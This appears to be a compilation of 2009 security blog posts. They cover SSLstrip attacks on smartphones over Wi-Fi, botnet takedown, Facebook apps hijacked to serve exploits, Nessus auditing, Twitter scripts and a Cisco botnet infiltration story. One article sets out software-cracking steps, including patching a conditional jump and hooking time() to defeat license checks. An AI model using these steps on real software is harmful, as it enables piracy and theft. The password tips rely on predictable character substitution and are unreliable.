Security researchers from SMobile Systems have released a paper detailing successful man-in-the-middle attacks against several smartphones.

The SSL enabled log in sessions on the tested, Nokia N95, HTC Tilt, Android G1 and iPhone 3GS devices was sniffed using the publicly available SSLstrip tool, with the attack taking place over insecure Wi-Fi network, now prevalent literally everywhere. Here’s the scenario they used, and possible mitigation approaches:

“The attacker visits the same cafe that offers a free Wi-Fi hotspot and decides to employ basic host, network identification and enumeration tools from the laptop to enumerate all the active devices connected to the Wi‐Fi hotspot. From the results, the attacker notices a MAC address referring to a Nokia smartphone. The attacker know that there is little to no detection capabilities present on an overwhelming majority of smartphone’s in use today, so the owner would likely never find out about a successful man-in-the-middle- attack (MITM).

The well-informed attacker creates a successful MITM attack. In the meantime, the smartphone owner accesses the online bank website and enters the login credentials required to gain access to the banking information. In this scenario, all of the communication between the smartphone and the online bank site is routed through the attacker’s machine and the attacker can see the login details in plain text, as well as can capture all the sites accessed by the victim.”

The awareness-raising test aims to educate users on approaching convenient and free, public Wi-Fi networks with caution, emphasizing on how their mobile service provider’s 3G connection, or the one offered by a trusted Wi-Fi network should always be considered as their first choice.
Anyway, just how insecure or susceptible to compromise are the majority of Wi-Fi networks found on high-trafficked locations such as airports or international cities? The answer is sadly, self-evident with data backing it up available publicly.

• Go through related posts: GPU-Accelerated Wi-Fi password cracking goes mainstream; D-Link router’s CAPTCHA flawed, WPA passphrase retrieved; Survey: 88% of Mumbai’s wireless networks easy to compromise

Last year, AirTight Networks conducted a major wireless network security study by visiting 14 airports (11 in the U.S and 3 in the Asia-Pacific) and found out that a huge percentage of the 478 Wi-Fi Access Points analyzed are either open, or using outdated encryption protocols. Even more interesting was the fact that users were falling victims to “viral” Wi-Fi networks using descriptive and lucrative names seeking to establish legitimacy.

The prevalence of such “handy”, but easy to compromise Wi-Fi networks internationally, is virtually the same. For instance, similar wardriving tests conducted in Paris; Santiago, Chile; China; Monterrey — Mexico, Sao Paulo – Brazil, Caracas (Venezuela), Warsaw, and London offer similar insights into the “security” of such public networks.

Possible mitigation practices? According to Marlinspike, the author of the tool:
Cautious users, for example, have been advised to explicitly visit https URLs or to use bookmarks in order to protect themselves from sslstrip, while other SSL/TLS based protocols such as imaps, pop3s, smtps, ssl/irc, and SSL-based VPNs never present an opportunity for stripping. This talk will outline some new tools and tricks aimed at these points of communication, ultimately providing highly effective attacks on SSL/TLS connections themselves.
How often do you face the trade-off of using a public, and possible insecure Wi-Fi hotspot, for the sake of convenience instead of sticking to your 3G data plan, even when traveling abroad?

Have you ever avoided using your mobile device and instead used your laptop at an airport, due to your host-based firewall’s better ARP filtering features — if any — enabling the detecting of changed MAC address for a (trusted) gateway network adapter in order to detect possible MItM attempts?

How EV SSL-aware is your E-banking provider, especially if you’re E-banking over a mobile device? Or do you simply “VPN-and-forget” over a public Wi-Fi network?

How to Disrupt a Botnet

How to Disrupt a Botnet by Lenny Zeltser

The following note is inspired by the steps the folks at FireEye Malware Intelligence Lab took to disable the Mega-d/Ozdok bot network. People often wonder what it takes to shut down a botnet. Here are the key steps, which apply to “traditional” botnets, which don’t rely heavily on peer-to-peer protocols for their command and control (C&C) implementation; the number of hosts and domains that such botnets use can be sufficiently small that a group or an individual can disrupt the botnet by getting these IPs or domain names shut down.

Note that attempting to interfere with operations of a profitable botnet can be dangerous, as your actions may cause attackers to retaliate. Therefore, consider these steps as informational thoughts, rather than an encouragement to follow FireEye’s footsteps.

1. Obtain a copy of the bot through forensic analysis of a compromised system. It helps to get hands on several instances of the malicious program, in case multiple variants possess meaningful behavioral differences.
2. Understand the bot’s command and control mechanism. How does the attacker control the botnet? Reverse-engineer the malicious program to understand the C&C protocol and to get a sense for the commands the botnet understands. You may find a way to authenticate to the botnet and, posing as the attacker, commandeer it. (Warning: As Andre posted in the comments, “Logging on to network that is not your own, and issuing commands to take it over could potentially be considered illegal access.”)
3. Identify which systems, if taken off line, could disrupt the botnet. To accomplish this, look for weaknesses in the command and control implementation, such as the reliance on a small set of servers to distribute commands or weakness in the C&C servers’ IP or domain names generation algorithm. (You may recall how researchers at UC-Santa Barbara gained control over an instance of the Torpig botnet.)
4. Contact ISPs hosting suspected C&C servers. In your correspondence with them, present documentation that supports your claim that the systems they are hosting are being misused. Be specific about which IPs violate the ISP’s policy by acting maliciously and should be disabled.
5. Contact registrars of C&C domains. In your correspondence with them, present documentation that supports your claim that the domains they are hosting are being misused. Be specific about which domains violate the registrar’s policy by being used for malicious purposes and should be disabled.
6. Consider registering unused domains that the botnet’s C&C mechanism may attempt to use later. This can be expensive, depending on the number of domain names associated with the botnet’s C&C implementation.

Botnets come in different shapes, sizes, and flavors. The steps above don’t apply to all of them, but they should give you a sense for how defenders can take action against traditional botnets. For an example of these steps in the context of a specific botnet, see the “Smashing the Mega-d/Ozdok botnet in 24 hours” write-up by FireEye.

Facebook Privacy & Security Guide

Created by Tom Eston. This is version 1.1 of the guide, last updated September 2009. It is updated when Facebook changes any privacy settings or configuration. Soon you will also be able to check out the video that walks you through these settings in your Facebook account (link coming soon).

How the crackers crack code

From http://securityblog.astida.com

There are several reasons why a software company would decide to implement heavy protection schemes in their applications by spending lot of development resources, time and money. These reasons are mainly related to the business models of the applications. License based applications (IDE, compilers, etc), applications with valuable IP inside (EDA applications, etc) and applications which have access to confidential information (DRM, authentication software, etc), in addition to their main logic, also require difficult protection schemes implemented inside which will ensure that the integrity, confidentiality and availability of the assets, inside these applications, will not be damaged.

It has always been a mystery for me how crackers try to break software. What techniques they are starting with when they have the executable in hand, or what tools they are using for doing the crack.

In general the motivation of crackers is obvious and is the same as what the abovementioned applications want to prevent from:

• They are trying to use software without paying money (break)
• They are trying to steal intellectual property of applications to create a copy of it
• They are trying to steal confidential information (such as cryptographic keys) from applications to have access to other valuable information, such as user credentials, high-definition video content, etc, which is accessible in this application

In this article we will try to outline the techniques and tools that crackers are using while trying to break protections that exist in applications.

Typical “cracking lifecycle” consists of the following steps:

1. Static and dynamic analysis of binary executable file
2. Preparation for an attack
3. Automation (optional)

Usually the first two steps are mandatory but the third is optional and depends on the crackers motivation. If the goal is reverse engineering of IP based algorithms – there is no need to automate the attack. However, for removing license checks – the automation phase is essential.

The diagram above shows details of these steps and how they actually interact with each other. The adversary usually starts with conducting static and dynamic analyze of the executable. After some protection mechanisms are discovered, the next step will be to remove it, rebuild the executable and test. This process will continue until all protections primitives are removed.

During analysis the adversary can use very different techniques and of course there is no way to cover all possible approaches in one article as they are being improved over time and new, smarter, more complex approaches are being invented. It’s important to note that the cracker has full control over the environment where he runs the target executable. He can run debuggers, run the executable under virtual machine, hook system DLLs, write a kernel rootkit, etc.

Let’s go over each technique mentioned in the diagram above and see how they are performed.

Learning the Executable structure (Static analysis)

The first thing that the cracker would do (though it highly depends on his/her taste) is probably learning the structure of executable. Though this step is not very difficult (comparing to others) the information she can gather from it is essential for the next steps.

The following information can be comparably easily obtained from an executable:

• What libraries is it dynamically linked to? (if any)
• Symbol Table (if any)
• The starting address of executable
• The starting and ending addresses of text and data segments

Tools which can help you to dump this information are usually available by default in the operating system or are included in the package of integrated development environments. For Linux type systems it will be GNU Binutils (http://en.wikipedia.org/wiki/GNU_Binary_Utilities), for Windows – set of Dumpbin tools. In addition of course IDA Tool, PE explorer can also be used for this purpose.

The following link provides comprehensive listing of available tools:

http://en.wikibooks.org/wiki/X86_Disassembly/Analysis_Tools

Searching for known strings (Static analysis)

The next obvious thing the adversary will try to do is searching for string characters which the program outputs as an indication for error. For example, a license checking or registration based program must have a way to inform the user that registration code is wrong or that the license has been expired. Obviously the adversary can search for these strings in the binary file and try to locate the place of license check.

Constant data is usually embedded in data segment so the basic algorithm for disabling the license check or registration code check would be:

1. Search for the error indication string (smth like “incorrect registration code”) in data segment
2. Retrieve the address of this string in data segment
3. Search for the reference of this address in code segment. The code will be something like this:
   1. cmp readRegCode, realRegCode
   2. je regCodeValid
   3. …
4. Replace the “je” command with ‘always’ jump command (“jmp”)

Note that for some architectures the address gathered from data segment will not be referred directly in code but will be constructed as a “base + offset”. It may make harder finding the appropriate code in code segment.

De-compilation (Static analysis)

Another helpful technique is to try to decompile the binary code into higher level language, such as C. After decompilation is done obviously the code will still be hard to analyze but it may give a better understanding of high-level structure of modules and functions in binary file.

The following resource discusses more about decompilation process and what can be achieved with it:

http://en.wikipedia.org/wiki/Decompiler

Searching for algorithm patterns (Static analysis)

If the target program has cryptographic features implemented inside, such as encryption/decryption functions, it may be an interesting option to try to search the binary file for patterns of “encryption instructions”.

Usually encryption functions have lot of XOR and SHIFT commands inside and that makes them different from usual code. Every standard encryption algorithm (AES, DES, TEA, etc) has its pattern of implementation (a sequence of assembly instructions similar to mov, shl, shl, shl, xor, shr, etc) and if the adversary searches with this pattern, he may be lucky by finding the encryption/decryption functions. After these functions are found if can be easy to locate where exactly the data is being encrypted or decrypted.

Listening for library calls (Dynamic analysis)

The first dynamic analysis technique we will discuss here is the “listening for library calls”. The idea behind this technique is to set a breakpoint on a library function call which is definitely going to be called while checking the license expiration or registration code.

Let’s see an example. Suppose the target program checks for registration code and prints “incorrect code” on command prompt if the input code is wrong. Most probably the program will call printf function to do the print. If the adversary sets a breakpoint in printf function and gives a wrong registration code to the program, the breakpoint will be hit. The cracker can navigate up by the call stack and find the appropriate code fragment which is comparing the real registration code with wrong one.

It’s possible that the target program, instead of dynamic linking, used static linking with C libraries. So it won’t be possible to set a break point on printf function as it won’t be called. For these cases there are two options:

• Search for the pattern of printf function in target binary and set a breakpoint there.
• Set a breakpoint on an underlying system call which will be called when printf is called and navigate back by call stack. For printf it will probably be the “write” system call.

Monitoring memory (Dynamic analysis)

Sometimes replacing the “je” command with “jmp” won’t be enough for cracking the software. The software developers could implement complicated protections schemes against cracking which assume crashing of software at random places if the registration code was incorrect – e.g. instead of having just an “if” statement for checking the validness of input registration code the software may also have a logic which overwrites some important data in RAM and after the software executes – it crashes at different points. So even if the adversary was able to crack the checking of “reg code” she won’t be able to use the program properly.

In order to understand where exactly the program crashes the following technique could be used:

1. The program is usually crashing when an inaccessible memory is read or write
2. The cracker will run the program until it’s crashed
3. The cracker will review the crash dump information and locate the memory address which was being read
4. The cracker will set a breakpoint on this memory address and wait until it’s hit
5. In simplest scenario this memory will be is just set to zero
6. After identifying the code fragment the cracker replaces the “mov” command with appropriate number of “nops” so that the size of binary file is not modified.

Dumping the internal data (Dynamic analysis)

Sometime the adversary’s goal is to obtain data which is being available in the program at some point of execution. This data could be user credentials, high definition video content, etc.

Let’s assume that after playing with binary file for some period the attacker found the place where the data is getting available. Now he needs to output it to an external disc. The first option that will come to mind is to add a code to the executable that dumps this data. However, this is not trivial. Adding a new code to a binary executable is not easy as it will break the offsets of different data in the binary file and its integrity will be broken.

So a better approach will be to use the debugger for this purpose. The adversary will run the debugger and set a breakpoint on the place where the data is available. Then he may use the features of debugger to output the content of a variable to external disc (the debuggers usually have a feature of executing set of commands when a breakpoint is hit).

Hooking the library calls (Dynamic analysis)

I’m sure everyone reading this article has heard about DLL hooking. This technique provides a way to intercept the program data that is being passed to different functions that are called from DLLs.

“Hooking library calls” technique can be used for two purposes:

• The one that we mentioned above – intercept the program data
• Replace standard functions with yours and make the program to use them

We will focus on the second technique.

Sometimes it’s much easier for the adversary to change the environment settings that surround the target program to turn off protection schemes implemented in the program. For example if a program is calling time() function to get the current time, the adversary might provide his own implementation of this function, which will always return a previous time and the license checking code will always succeed.

Hacked Facebook applications reach out to exploit sites in Russia

From: AVG Blogs | Roger Thompson

Hi folks,

All the social networking sites have issues with calling out to exploit pages. Usually what happens is that someone’s website gets hacked, and because they link to it from their MySpace or Facebook page, their contacts and friends sometimes get drawn to the attack sites. This is quite common, and we’ll write about it soon, but today’s story is a little different, in that these seem to be actual Facebook applications that have been hacked. (Please note that the application developer(s) are innocent victims too, and did not intend for their games to be hacked.)

The first one we noticed was CityFireDepartment, which seems to be a sort of online game that allows a player to become a fireman. (Please DO NOT GO to this application until it is cleaned up).

This is how it’s supposed to look… (Click image to enlarge)

But what you see instead is something like this (especially if you are not patched)…

If you’re not patched, the next thing you see is this… (note the “Your computer is infected” warning in the bottom right corner of the screen):

Followed by…

And if you have a nifty change notification tool, like WRremote, you’ll see that you are already nailed, with sys files already having been installed.

At first, we thought this was a deliberate hack attempt by the developers, but when we looked at the source code for the web pages, we found this iframe injected into the source…

Interestingly, this line changes at least once a day, and calls to a different exploit site, so the bad guys are still exploiting the hole, whatever it is. And also interestingly, some of their users are also telling them they have a problem. Here are some of the comments…

Initially, we thought that the applications were deliberately acting as lures, but it now seems to us that they are victims themselves. The difficult part for them will be to find and plug the hole that the data snatchers are using to hack the applications.

The other applications where we have detected the hack include (we don’t include direct links to them in order to save you):

• MyGirlySpace
• Ferrarifone
• Mashpro
• Mynameis
• Pass-it-on
• Fillinthe
• Aquariumlife

There could easily be lots more, but that’s what we’ve noticed with this particular hack.

It’s a tricky world out there folks, keep safe.

Mass Malware Analysis: A Do-It-Yourself Kit

Theory, practice and a construction manual for an automated analysis station for malware using trivial and free instruments.

Publication Date: October, 14th 2009
Author: Christian Wojner
Original posted here.

Content
This paper outlines the relevant steps to build up a customizable automated malware analysis station by using only freely available components with the exception of the target OS (Windows XP) itself. Further a special focus lies in handling a huge amount of malware samples and the actual implementation at CERT.at. As primary goal the reader of this paper should be able to build up her own specific installation and configuration while being free in her decision which components to use.

The first part of this document will cover all the theoretical, strategic and methodological aspects. The second part is focusing on the practical aspects by diving into CERT.at’s automated malware analysis station closing with an easy to follow step-by-step tutorial, how to build up CERT.at’s implementation for your own use. So feel free to skip parts.

Database Auditing for Control System Applications

Author: Jason Holcomb

Whether it’s for real-time, historical, or some other purpose, there are databases of all shapes and sizes in control systems. Two questions regarding these databases:

1.) How do we verify that they are in a secure state?

2.) Can we learn or measure anything about the application security from the data inside them?

Tenable added database audit capability to Nessus earlier this year and I recently had the opportunity to further explore the new feature. The Database Compliance Checks plugin is in the same family as the the Windows and Unix compliance plugins. The difference is that instead of authenticating to the OS, it authenticates to the database. From there it can call built-in database functions and run SQL.

So to answer question 1, Tenable provides audit files based on the CIS Benchmarks for Oracle, SQL Server, and MySQL. I tested on Oracle and MySQL and found that – no surprise here – there are many settings that can be improved upon from the default install. The Oracle audit file checks around 50 different configuration items. They range from simple password policy to more database-centric security settings such as the default tablespace for user accounts and restricting critical table access to the DBA and SYS accounts. These benchmarks are a good starting point for checking database security.

For question 2, let’s look at a simple example of a control system application setting in a database that we can audit. Say we want to verify that an operator audit trail is enabled for our HMIs. We know there is a setting in the GUI that dictates audit logging and that the value is stored in a database. The setting allows for different levels of audit logging but we want to just verify that is it not disabled.

The first step will be to identify the table and test an SQL query to pull back the information we want to evaluate. We find the value in the t_hmi_cfg table and use this query:

select cfgvalue from T_HMI_CFG where cfgname like ‘audit-trail’;

The query brings back the value ‘1′. Through a series of changing the value in the GUI and running this query, we learn that the value is ‘0′ when audit logging is disabled. We can then write a Nessus database audit check to verify that the value is set to something other than ‘0′. Here is the audit check:

<custom_item>
type : SQL_POLICY
description : “Verify that the audit trail is enabled for operators.”
sql_request : “select cfgvalue from T_HMI_CFG where cfgname like ‘audit-trail’;”
sql_types : POLICY_VARCHAR
sql_expect : regex: “[^0]”
</custom_item>

This a simplistic example but hopefully illustrates the power of being able to audit values in a database. For systems with the right architecture, this opens up a whole new world of configuration auditing which gives the asset owner even more assurance and insight into the security of their SCADA or DCS applications. The Nessus report looks exactly like any other Bandolier/Policy Compliance report:

Since database auditing wasn’t available when we started the project, you will not find it in the current Bandolier audit files. I suspect this will change as we develop audit files for new applications and update the files for the existing set. Database auditing won’t apply to every application but for those where it is applicable, the security auditing capability will be greatly enhanced.

Ruby script to unblock people on Twitter

From: Mubix’s Links

I created this script because I couldn’t really find anything out there for it. Both the Twitter support page and all the Twitter APIs out there had the ability to unblock people, but only if you knew who you wanted to unblock. Recently I tried the Twitter Karma service that could Mass unfollow / block people (hence my last couple scripts). I clicked the wrong button one time and it blocked a whole bunch of people. But say your not a klutz like me, maybe you just forgot who you’ve blocked over time.

This script will dump the list of people you block and unblock them all. Now you could expand this to get the names of each individual that you block but that’s an API call for each. Let me know if there is a better way, right now, the only way to figure out who was unblocked is through the 302 response that is generated with each request that sends you to the users page that you unblocked. (Push this script through a proxy to see it.)

#!/usr/bin/env ruby

require 'net/http'

require 'rexml/document'
include REXML

use_proxy = false
proxy_srvr = "127.0.0.1"
proxy_port = "8080"
proxy_user = ""
proxy_pass = ""

twitter_user = "joeuser"
twitter_pass = "password1"

header = {
'User-Agent' => "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
'X-Requested-With' => "XMLHttpRequest",
'Cookie' => "__utma="
}

data = "authenticity_token=&twttr=true"

doc = "temp"

if use_proxy == true
Net::HTTP::Proxy(proxy_srvr, proxy_port, proxy_user, proxy_pass).start('twitter.com') {|http|
req = Net::HTTP::Get.new('/blocks/blocking/ids.xml')
req.basic_auth twitter_user, twitter_pass
response = http.request(req)
doc = Document.new response.body
}
else
Net::HTTP.start('twitter.com') {|http|
req = Net::HTTP::Get.new('/blocks/blocking/ids.xml')
req.basic_auth twitter_user, twitter_pass
response = http.request(req)
doc = Document.new response.body
}
end

blocks = doc.elements.each('//id') { |f|
if use_proxy == true
Net::HTTP::Proxy(proxy_srvr, proxy_port, proxy_user, proxy_pass).start('twitter.com') {|http|
req2 = '/blocks/destroy/' + f.text
response2 = http.post(req2, data, header)
puts response2.code
}
else
Net::HTTP.start('twitter.com') {|http|
req2 = '/blocks/destroy/' + f.text
response2 = http.post(req2, data, header)
puts response2.code
}
end

puts "Unblocking: " + f.text
}

Python Script to unfollow people on twitter

From: Mubix’s Links

This is exactly like the last script with a few minor changes. 1st, the last script only has the ability to force people to unfollow you if you aren’t following them. 2nd, the api call and the request URL are different. GetFollowers instead of GetFriends, and friendships/remove instead of friendships/destroy. Don’t forget to fill in the same 4 fields that were missing/wrong in the last one.

#!/usr/bin/python

import twitter
import urllib2

headers = {
'User-Agent' : "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
'Cookie' : "__utma=",
}

data = "authenticity_token=&twttr=true"

api = twitter.Api(username='joeuser', password='password1')
for b in range(1,100):
users = api.GetFollowers(page=b)
for i in users:
request = http://twitter.com/friendships/remove/ + str(i.id)
req = urllib2.Request(request,data,headers)
post = urllib2.urlopen(req)
print post

Python script to force people to unfollow you on twitter

From: Mubix’s Links

Script to force people to unfollow you on twitter – Python

I left the authenticity token and Cookie partially filled out so you know what to look for in your request. But basically you fill out those two variables, plus your user / pass of course and it will go through 100 pages of your followers, which should peg out your API calls. You’ll have to wait another hour to keep going, but you could easily put this on a loop until it you got down to 0. The out put could use a bit of cleaning up. You’ll need python-twitter, but BT4 and Ubuntu at least has it in it in their repos for easy install.

#!/usr/bin/python

import twitter
import urllib2

headers = {
'User-Agent' : "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
'Cookie' : "__utma=",
}

data = "authenticity_token=&twttr=true"

api = twitter.Api(username='joeuser', password='password1')
for b in range(1,100):
users = api.GetFriends(page=b)
for i in users:
request = "http://twitter.com/friendships/destroy/" + str(i.id)
req = urllib2.Request(request,data,headers)
post = urllib2.urlopen(req)
print post

Convert DOS newlines CR-LF to Unix/Linux format

From http://www.cyberciti.biz/

Howto: UNIX or Linux convert DOS newlines CR-LF to Unix/Linux format

Q. How do I convert DOS newlines CR/LF to Unix/Linux format?

A. To convert text files between DOS and Unix formats you need to use special utility called dos2unix.

DOS text files traditionally have carriage return and line feed pairs as their newline characters while Unix text files have the line feed as their newline character.

UNIX/Linux Commands

* dos2unix (also known as fromdos) – converts text files from the DOS format to the Unix format
* unix2dos (also known as todos) – converts text files from the Unix format to the DOS format.
* sed – You can use sed command for same purpose

Task: Convert DOS file to UNIX format

Type the following command to convert file called myfile.txt:

$ dos2unix myfile.txt

However above command will not make a backup of original file myfile.txt. To make a backup of original file. The original file is renamed with the original filename and a .bak extension. Type the following command:

$ dos2unix -b myfile.txt

Task: Convert UNIX file to DOS format

Type the following command to convert file called myfile.txt:

$ unix2dos myfile.txt
$ unix2dos -b myfile.txt

Task: Convert DOS newlines (CR/LF) to Unix format using sed command

If you are using BASH shell type the following command (press Ctrl-V then Ctrl-M to get pattern or special symbol)

$ sed 's/^M$//' input.txt > output.txt

Task: Convert UNIX to DOS format using sed command

Type the following command if you are using bash shell:

$ sed 's/$'"/`echo \\\r`/" input.txt > output.txt

Passwords complexity – made easier

Maintaining password complexity in a company seems to be a huge task. Explaining the reasoning behind the complexity issue is valid, but still some users don’t get it – or just don’t care – “why can’t I.T. take care of that?”. Talking “dictionary attacks” and easily predictable combinations while valid, still manage to frustrate users and even though it is as much their job to protect the work environment, they still seem to fall into some password traps, or don’t get it, or just don’t care (the last one is the one that bites!).

We can hike the complexity rules and force the issue (and I have), but then you’ll be finding passwords stuck on monitors, inside desk drawers, under keyboards and all sorts of other places intriguing places. Here’s a couple of ways to educate users to create complex passwords that can be somewhat easily remembered:

1. Take a common phrase that you know and love and turn it into a password. Here’s how:

I am from Luton Bedforshire – now take out the spaces

iamfromlutonbedforshire – now substitute numbers and characters for some letters

1@mfr0mlut0nb3df0rdsh1r3 – now you have a complex, 24 character password. It doesn’t have to be that complex but you can see just how easy it is to create a complex password.

2. Use a base word and some characters. The base word won’t change, but the characters or numbers will. Here’s how:

cryptogram – now substitute numbers and characters for some letters

crypt0gr@m – this is you base word. Now add characters or numbers

crypt0gr@m3116 – now substitute characters for the numbers using the SHIFT key

crypt0gr@m#!!^ – see how simple it becomes? You can write down the numbers anywhere – no-one will get it – unless you write down the base word of course!

These are just two off the top of my head. I know there are others, but I can’t think of them right now. If you have other ways to do this feel free to post a comment or email them to me and I’ll add them.

The point for me is to make this simpler for the users and lessen the risk. The fact that some users don’t care or get uptight will never go away, but we can choose to help them make it easier. Short of getting extremely stringent on the password policy, we have to do what we can to make it work. Whist it’s not right that we deal with the “I don’t care” attitude – it’s not going away anytime soon!

Facebook CSRF Attack

From nukeitdotorg

This is an example of a Facebook attack for personal information theft. I don’t condone this but it shows just how easy it is to do, and to obtain the methodology to do it. Scary isn’t it?

Web Application Scanning Using Nessus – Video

Web Application Scanning Using Nessus Video

Scanning web applications with Nessus offers the end user several new configuration options in the Nessus client. You should take into account:

• Number of web servers and applications being scanned
• Size of the applications (e.g. how many parameters does each CGI application have?)
• Depth and scope of the scan with respects to the type of tests being performed and how exhaustive they should be

This video demonstrates how to setup Nessus to scan a web application using the new options:

Click to play

You can visit Tenable Security’s new video channel at http://tenablesecurity.blip.tv for more exciting video tutorials!

Infiltrating a Botnet

From Cisco Security Intelligenc Operation

Overview

Many teams at Cisco are dedicated to security research. One team recently investigated botnets with the goal of improving existing detection methods and discovering the techniques botmasters use to compromise machines. The team’s efforts were rewarded through their protection of an important customer’s network. Their discovery efforts also yielded extraordinary insights into the mind and motives of a botmaster. This paper discusses exploit protection and reports on the interviews the team held with the botmaster they encountered.

Defending a Customer from a Botmaster

Typically, administrators patch vulnerable machines or deploy some sort of intrusion prevention system (IPS) to protect against exploits. Both approaches are effective the majority of the time, but neither approach protects systems against the uneducated user. These approaches may not even protect people who take their machines home if the IPS is network-based. The user who will click and run anything is the greatest threat to any network.

Internet relay chat (IRC) traffic on non-standard ports is a good indicator of malicious activity. Simple botnets often use IRC as a command-and-control framework because the source code is readily available. Joining a chat network is not botnet activity, but it is usually not work-appropriate activity. Cisco offers a service that monitors and manages network-based IPS. By monitoring certain alerts from this data feed, suspicious IRC traffic was easily found.

An Unsuspecting Customer

A Cisco customer was unaware of dozens of compromised machines. A tremendous number of alerts including IRC activity, far larger than anything that could be benign, were occurring on the customer’s network. The traffic from several machines stood out from other systems on the network. There are occasionally oddities in a network, but when a small subset of machines is observed sharing the same odd behavior, researchers should take note.

Figure 1 shows a data feed from a Cisco IPS device.

Figure 1. Monitoring a Cisco IPS Data Feed

Looking at the signature alerts, it was clear that the affected machines had been compromised. The Cisco IPS detected the attack, but unfortunately the customer was not running it inline or connected to the router, so the hits were not blocked. There were several different botnets involved that looked strangely similar. When inspecting the history of the machines, in addition to the IRC traffic, exploitation and reconnaissance attempts were discovered.

None of the traffic was encrypted, indicating that the attackers were either unsophisticated or unconcerned about hiding their tracks. The botmaster occasionally took basic precautions, such as using server and channel passwords, but failed to encrypt the data. Challenge-response exchanges were hidden in normal IRC traffic.

For example, upon connecting to a server, the bot would immediately have to ping “MrB|g” with the key “s3cr3+sq|_|rr3l” or it would be denied access to the server. This challenge-response method was also used by the clients in response to certain RFC 2812 commands, such as a client-to-client protocol version request. Additionally, the bots would respond to non-RFC 2812 commands. It was noted that different botnets seemed to share many of the same commands. This led to the belief that most, if not all, of these clients were based on a common source code. Figure 2 shows the botnet.

Figure 2. Botnet

At this point in the investigation, the team’s largest concern was for the customer. There was an urgent need to determine what the botnet was doing and what information had been compromised. By using the Cisco IPS, a wide range of data about the command-and-control networks was captured. For example, the network was separated into several discrete command-and-control nodes with different IP addresses. Over the course of a few weeks, commands were captured and the network was monitored to see what information the botmaster was targeting. An open source IRC client was set up to emulate an infected machine and join the network. This allowed continuous monitoring without having to leave any compromised machines active.

The botmaster targeted employees instead of the company itself. This action likely helped the attacker to remain undetected. The botmaster’s mode of attack involved stealing employees’ passwords that were stored in Internet Explorer and then adding a redirect in the hosts file that enabled a man-in-the-middle attack against a bank in Latin America.

Stopping the Bot

Once the extent of the damage was determined, the bot needed to be stopped. The team was able to demonstrate the modification of the hosts file, making the compromise irrefutable. Some of the machines appeared to have been compromised dozens of times. A worm or trojan would compromise the machine and update the hosts file, only to have it corrected by the virus scanner (or other malware).

The correction would prevent the man-in-the-middle attack but the botnet would load normally. This action occurred each time the system booted. Some machines had dozens of entries that showed that the hosts file was corrected repeatedly. It became clear that it was not feasible to clean every infected machine, because in the time it took to alert the company to the problem, the personal information of hundreds of employees could be compromised.

The customer did not have the capability of running Cisco IPS inline, so the firewall was examined. When monitoring the botnet, it became very clear that the IRC servers would update fairly frequently. The IRC servers would move ports, servers, and change passwords, sometimes several times a day. This frequent updating made it extremely hard to block the command-and-control servers.

The team found a visible flaw in the attack: the botmaster had overlooked the update servers. The botmaster had several domain names for the update server that could be broadcast by means of IRC to update the bots before a server change-over. Close inspection revealed that the IP address of the update server always belonged to one of a small group of machines. Blocks were put in place immediately.

When the botmaster issued the next update, only a few of the systems (and none from the customer) followed. The botmaster repeatedly issued the update command to no avail. When the machines were locked down to one IRC server, a single block was sufficient to disable the network.

Had the botnet-client been more robust, it would have been necessary to block backup networks. In this case, the customer was lucky, and the single block was sufficient. The team continued monitoring the network to ensure the systems were unable to reconnect to the network, giving the customer the needed time to reimage all of the compromised machines. It was not a perfect solution, but it stopped the data leakage and prevented the systems from compromising other machines on the network.

Conversations with a Botmaster

With the customer protected, only curiosity remained. The team wondered what type of attacker would go to such complicated lengths but leave such a simple hole in their plan of attack. Did the botmaster have so many networks that it didn’t matter if one was blocked? Was the botmaster a script kiddie? For answers, one of the researchers decided to go back to a monitoring box and ask. At this stage the customer was protected and the botmaster was likely away from the keyboard. The researcher sent out an intrepid “hey” and received a response from the botmaster: “?” Thus began what turned into a months-long conversation.

The botmaster, upon realizing that one of his bots was suddenly sentient, appeared to assume that the researcher was a fellow botmaster and that their respective networks had “collided.” The researcher worked to strengthen the botmaster’s assumption. Pretending to be a fellow botmaster, the researcher asked about the server software. Figure 3 shows the initial conversation with the botmaster.

Figure 3. Starting a Conversation

After some inconsequential chat, the researcher asked if the botmaster was using his network for anything interesting. The botmaster readily revealed his master plan: to compromise a few thousand machines and then sell them off in big batches. With careful questions, the researcher learned from the botmaster that the market rate was about US$0.10-$0.25 per machine and that the botmaster had recently sold 10,000 machines for US$800. In attempts to bond with the botmaster, the researcher discussed popular exploits, sharing stories of “pwning,” or gaining control of, dozens of machines at a time.

With a solid background in IPS, the researcher was aware of current trends in vulnerability research but asked in what area the botmaster focused his efforts. The expected answer was a Microsoft vulnerability that worms such as Conficker exploit. The botmaster’s answer, however, was that he mostly focused on instant messaging software. No vulnerability was required to grow his network. Instead, he could spam 10,000 people with a simple “check out this cool software” message and rely on at least a one percent response from the recipients. As an approach, it made sense, because the same process continues to work for spammers as it has worked for years, despite efforts at user education.

After revealing his methodology, the botmaster appeared to suddenly realize that perhaps he had shared too much information with an unknown person. He quizzed the researcher on “old school” (that is, previously well-known) hackers. The researcher responded that he did not know any of the old-school attackers. (When the researcher later did online searches on the old-school attackers, most of them had been apprehended by the Federal Bureau of Investigations.) By saying he did not know any of the attackers that the botmaster named, the researcher established credibility with the botmaster that he was not a law enforcement agent. After this exchange, the botmaster gave the researcher his contact information through Microsoft Network (MSN) so the two could communicate more easily. Figure 4 shows a trust-building session between the researcher and the botmaster.

Figure 4. Building Trust

You Can Find Everything on the Internet

As any good hacker would, the researcher immediately keyed the botmaster’s screen name into Google and found a few posts. The posts led the researcher to additional handles, or usernames, which then led to hundreds of posts by the same author. Under a different handle, the botmaster was the author of an enormous amount of IRC-based botnet software. He was also very well known in the black hat community, where attackers and hackers share information.

Intrigued, the researcher decided to accept the botmaster’s invitation to stay in touch. The researcher created an MSN account and, over the course of several days, multiple MSN conversations were held between the researcher and the botmaster. Topics focused primarily on secrets of the botnet trade and discussions of various software packages. The botmaster confirmed the researcher’s theory that many of the IRC-based botnets stemmed from a single source; however, he declined to provide a copy of the modified version he had adapted. Instead, the botmaster directed the researcher to an online forum that was contained a profusion of information regarding botnet activity.

